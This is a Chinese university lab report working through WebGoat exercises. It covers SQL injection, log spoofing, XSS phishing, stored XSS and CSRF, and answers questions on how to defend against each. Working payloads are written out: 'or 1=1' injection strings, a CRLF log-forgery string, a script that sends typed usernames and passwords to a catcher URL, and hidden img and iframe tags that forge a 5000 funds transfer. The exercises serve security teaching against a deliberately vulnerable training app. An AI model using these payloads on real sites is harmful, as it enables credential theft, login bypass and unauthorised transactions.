2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

实验目的

  • 本实践的目标理解常用网络攻击技术的基本原理。

实验内容

  • 安装Webgoat
  • SQL注入攻击
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- LAB: SQL Injection
  • XSS攻击
- Phishing with XSS
- Stored XSS Attacks
  • CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass

实验步骤

安装Webgoat

java -jar webgoat-container-7.0.1-war-exec.jar

  • 成功登录后可在左侧看到实践课程

SQL注入攻击

  1. Numeric SQL Injection
  • 目标:显示天气情况
  • 点击
Injection Flaws
Numeric SQL Injection
  • 右键点击复选框,选择
inspect Element

审查网页元素对源代码

value="101"

进行修改,在城市编号101后面添加

or 1=1

  • 点击Go,可以看到攻击成功

  1. Log Spoofing
  • 目标:使用户名为admin的用户在日志中显示成功登录
  • 点击
Injection Flaws>Log Spoofing
  • 在User Name中填入
webgoat%0d%0aLogin Succeeded for username: admin

,利用回车0D%和换行符%0A让其在日志中两行显示

  • 此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。

    在用户名中输入
admin <script>alert(document.cookie)</script>

,管理员可以看到弹窗的cookie信息

  1. String SQL Injection
  • 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
  • 点击
Injection Flaws-String SQL Injection
  • 输入查询的用户名
Smith' or 1=1--

  1. LAB: SQL Injection
  • 目标:使用SQL注入绕过认证。
  • 在密码框输入
' or 1=1 --

,登录失败,会发现密码只有一部分输入,说明密码长度有限制。

  • 我们在密码框右键选择inspect Element审查网页元素对长度进行修改

  • 重新输入
' or 1=1 --

,登录成功

XSS攻击

  1. Phishing with XSS
  • 目标:在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
  • 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
  • 在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单

  • 现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
  • 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
  • 将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

  1. Stored XSS Attacks
  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 在Message中构造语句
<script>alert("20165210 attack succeed!");</script>Title

任意输入。提交后可发现刚创建的帖子123456

  • 点击123456然后会弹出一个对话框,证明XSS攻击成功

CSRF攻击

  1. Cross Site Request Forgery
  • 目标:CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
  • 查看页面右下方Parameters中的src和menu值,我的分别为314和900
  • 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />

,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

  • 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

  1. CSRF Prompt By-Pass
  • 同上面的攻击,查看页面右下方的Parameters中的src和menu值,我的分别为328和900,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
  • 点击Submit生成以Title命名的链接,点击链接,攻击成功

实验后回答问题

  1. SQL注入攻击原理,如何防御
  • 原理:通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
  • 防御办法:

    可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

    可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
  1. XSS攻击的原理,如何防御
  • 原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御办法:

    用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码

    网页编写者角度:在输入到输出的过程中进行过滤、转义

    eg:①过滤<和>标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<和>标记。②HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。③过滤特殊字符:&、回车和空格。
  1. CSRF攻击原理,如何防御
  • 原理:

    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

    主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
  • 防御办法:

    个人觉得可以尽量别让浏览器记住密码,输入一下也没有多麻烦,这样就没有cookie了,也没有可获取的东西

    此外,可以在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

    “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。

实验遇到的问题

  1. 下载安装包时很慢然后下载下来后出现了jdk不匹配的情况,最终调试后好了。

实验总结与体会

这次实验,我进行了多种攻击的练习,让我对这些攻击的原理有了进一步的理解,这是最后一次实验了,课程也要接近尾声了,感谢老师和学长的帮助,希望今后能更加努力。

2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. 【数字图像处理】目标检测的图像特征提取之HOG特征

    1.HOG特征 方向梯度直方图(Histogram of Oriented Gradient, HOG)特征是一种在计算机视觉和图像处理中用来进行物体检测的特征描述子.它通过计算和统计图像局部区域的梯 ...

  2. 【大数据】SmallFile-Analysis-Script

    1.root账号先在namenode节点上配置一个定时任务,将fsimage定时传到其他客户机上进行操作 whereis hadoop命令确定安装目录,然后去配置文件找到namenode节点(data ...

  3. python3 基础三

    一.if语句 if condition_1: statement_block_1 elif condition_2: statement_block_2 else: statement_block_3 ...

  4. 【转】go里面字符串转成 字节slice, 字节slice转成字符串

    原文: https://yourbasic.org/golang/convert-string-to-byte-slice/#convert-string-to-bytes ------------- ...

  5. temp数据预处理--以24h为周期的序列

    1.按照周期来截取数据 从数据库加载下来的是以5min取一次mean()的列,因此24h应取了24*60/5=288次数据 首先把这8352个数据(最后一个以倒数第二个填充)改成288*30的形式 t ...

  6. TCP的半连接

    T C P提供了连接的一端在结束它的发送后还能接收来自另一端数据的能力.这就是所谓下载的半关闭.正如我们早些时候提到的只有很少的应用程序使用它.为了使用这个特性,编程接口必须为应用程序提供一种方式来说 ...

  7. Python+request 将获取的url和接口响应时间(timeout)写入到Excel中《八》

    使用场景: 在工作中,常见某个功能的查询,当查询关联表特别多时,开发写的SQL语句等等问题导致响应时间较慢,那么作为测试需要将每个接口的响应时间进行测试,对同个接口多次执行,并将测试结果写入到exce ...

  8. nsight system

    https://developer.nvidia.com/nsight-systems pc nv家 看时序的工具 链接里面有分许数据的教学视频 dx12的多线程渲染 卡在vsync上

  9. Angular4的dom事件

    Angular4的dom事件 差值表达式和属性绑定其实是一样的(例) <!-- 这两个是一样的效果,使用哪个都可以 --> <img src="{{imgUrl}}&quo ...

  10. ubuntu 16.04 TLS 安装VNC

    安装 #autocuftsel 用于vnc两段的复制粘贴 sudo apt-get install autocutsel 安装 vncserversudo apt-get install --no-i ...